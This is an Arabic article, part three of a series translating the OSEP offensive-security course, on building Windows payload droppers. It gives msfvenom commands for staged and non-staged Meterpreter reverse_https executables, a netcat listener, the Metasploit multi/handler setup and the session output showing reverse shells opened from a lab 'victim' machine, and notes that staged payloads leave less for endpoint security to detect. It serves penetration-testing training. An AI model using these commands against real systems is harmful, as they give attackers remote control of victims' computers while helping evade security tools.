السلام عليكم ورحمة الله تعالى وبركاته هذا المقال الثالث من سلسلة "ترجمة كتاب
OSEP كامل على شكل مقالات" من دون طول بالمقدمة
دعونا نتابع ما توقفنا عنده في الجزء
التاني
تنويه قبل ما نبدا اذا كانت هي اول مرة تشوف هاد المقال انصحك ترجع
لـ 1 والـ 2 مشان تفهم معنا منيح وتحقق أقصى أستفادة , لنبدا على بركة الله تعلى
ودون طول مقدمات
طبعا نحنا وقفنا عند فقرة الـ
Building Our Droppers وتعرفنا على الفرق بين
الـ Staged Payloads و
Non-staged وشفنا كيف نصنع
Shell
او Payload بـ
Msfvenom واليوم رح نكمل ..
سنستمع إلى اتصال وارد (-l)، ونتجنب عمليات البحث في DNS (-n) "DNS
lookups"ونستخدم الإخراج المفصل (-v). وسنستخدم أيضًا -p لتحديد منفذ
TCP، والذي يجب أن يتطابق مع المنفذ المستخدم
عند إنشاء الملف القابل للتنفيذ msfvenom (كما
هو موضح في القائمة 6).
kali@kali:~$ sudo nc -lnvp 444
listening on [any] 444 ...
مع استعداد المستمع، فلنفتح Microsoft Edge على
جهاز الضحية ونستعرض عنوان URL للحمولة على
خادم Kali Linux Apache الخاص بنا. سيُطلب منا
تنزيل الملف. بمجرد تنزيل الملف، سننفذه، متجاهلين أي رسائل تحذيرية ونقبلها , في
غضون ثوانٍ قليلة، يجب أن يتم فتح الـ
Reverse Shell في مستمع
Netcat
الخاص بنا:
kali@kali:~$ sudo nc -lnvp 444
listening on [any] 444 ...
connect to [192.168.119.120] from (UNKNOWN) [192.168.120.11] 49676
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Offsec\Downloads>
دعنا نجرب مثالاً آخر، هذه المرة بالاستفادة من قوة حمولة
Meterpreter الخاصة بـ
Metasploit
لحمولة الكاملة لـ
Meterpreter Payload قوية , ولكن الإصدار
الـ Non-Staged كبير جدًا. في هذا
المثال،
سننشئ إصدارًا مرحليًا "Staged Payload"
, سيكون هذا الإصدار أكثر إحكامًا، وسيتم تنفيذه على مراحل, تنفذ المرحلة
الأولى الصغيرة وظيفة استدعاء "CallBack Function" ، والتي ستسترد الكود المتبقي وتنفذه في الذاكرة
لأمر msfvenom الذي سنستخدمه مشابه
للإصدار لـ Non-Staged , سنختار الـ
Staged Payload ونختار HTTPS كبروتوكول وسنضبط LPORT على
443، وهو منفذ
TCP HTTPS
النموذجي
دعنا نقارن أحجام الـ Payloads عن طريق
إنشاء Non-Staged Payloads و
Staged :
kali@kali:~$ sudo msfvenom -p windows/x64/meterpreter_reverse_https
LHOST=192.168.119.120 LPORT=443 -f exe -o /var/www/html/msfnonstaged.exe
...
Payload size: 207449 bytes
Final size of exe file: 214016 bytes
Saved as: /var/www/html/msfnonstaged.exe.exe
kali@kali:~$ sudo msfvenom -p windows/x64/meterpreter/reverse_https
LHOST=192.168.119.120 LPORT=443 -f exe -o /var/www/html/msfstaged.exe
...
Payload size: 694 bytes
Final size of exe file: 7168 bytes
Saved as: /var/www/html/msfstaged.exe
لاحظ أن الـ Non-staged Payload أكبر بنحو
ثلاثين مرة من الـ
Staged Payloads. توفر هذه الحمولة
الأصغر حجمًا مساحة كشف أقل لـ endpoint security solutions.
لاستخدام الـ Staged Payloads ،
سنحتاج إلى استخدام
multi/handler. تستمع موديل الـ
Metasploit هذه إلى المكالمات الواردة "CallBacks" من الـ Staged Payloads وتسلم المرحلة
الثانية.
للقيام بذلك، سنقوم بتشغيل msfconsole في
الوضع الهادئ (-q) واستخدام موديل multi/handler سنقوم بتعيين خيارات الحمولة، LHOST، و
LPORT، والتي يجب أن تتطابق مع القيم التي
استخدمناها عند إنشاء الحمولة.
kali@kali:~$ sudo msfconsole -q
msf5 > use multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 192.168.119.120
lhost => 192.168.119.120
msf5 exploit(multi/handler) > set lport 443
lport => 443
msf5 exploit(multi/handler) > exploit
[*] Started HTTPS reverse handler on https://192.168.119.120:443
مع تشغيل موديل multi/handler، يمكننا
تنزيل ملف msfstaged.exe القابل للتنفيذ
وتشغيله على جهاز الضحية. بعد ذلك، سنوجه انتباهنا إلى الناتج من
Metasploit :
[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.11; (UUID: pm1qmw8u)
Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.11:49678)
meterpreter >
تم تنفيذ استدعاء "Callback" صغير بحجم 7
كيلوبايت لتجهيز الحمولة الكاملة ونلاحظ من الناتج أنه
تم إرسال أكثر من 200 كيلوبايت من التعليمات البرمجية لتوليد
Shell Meterpreter من جهاز الضحية.
الآن بعد أن فهمنا الاختلافات بين الـ Staged Payloads و Non-staged في Metasploit وفهمنا كيفية استخدام Netcat و multi/handler لالتقاط Shell , سنناقش التقدير "discretion" في القسم القادم
. قم بتجربة حمولات Metasploit غير المرحلية "Non-staged" والمرحلية "staged" المختلفة واستخدم وحدة multi/handler لاستقبال Shell
إلى هنا نكون قد أنهينا القسم الثالث، ونشجعكم على مراجعة القسمين الأول والثاني والاستمرار في التدريب العملي والتعلم. نلتقي في الأجزاء القادمة!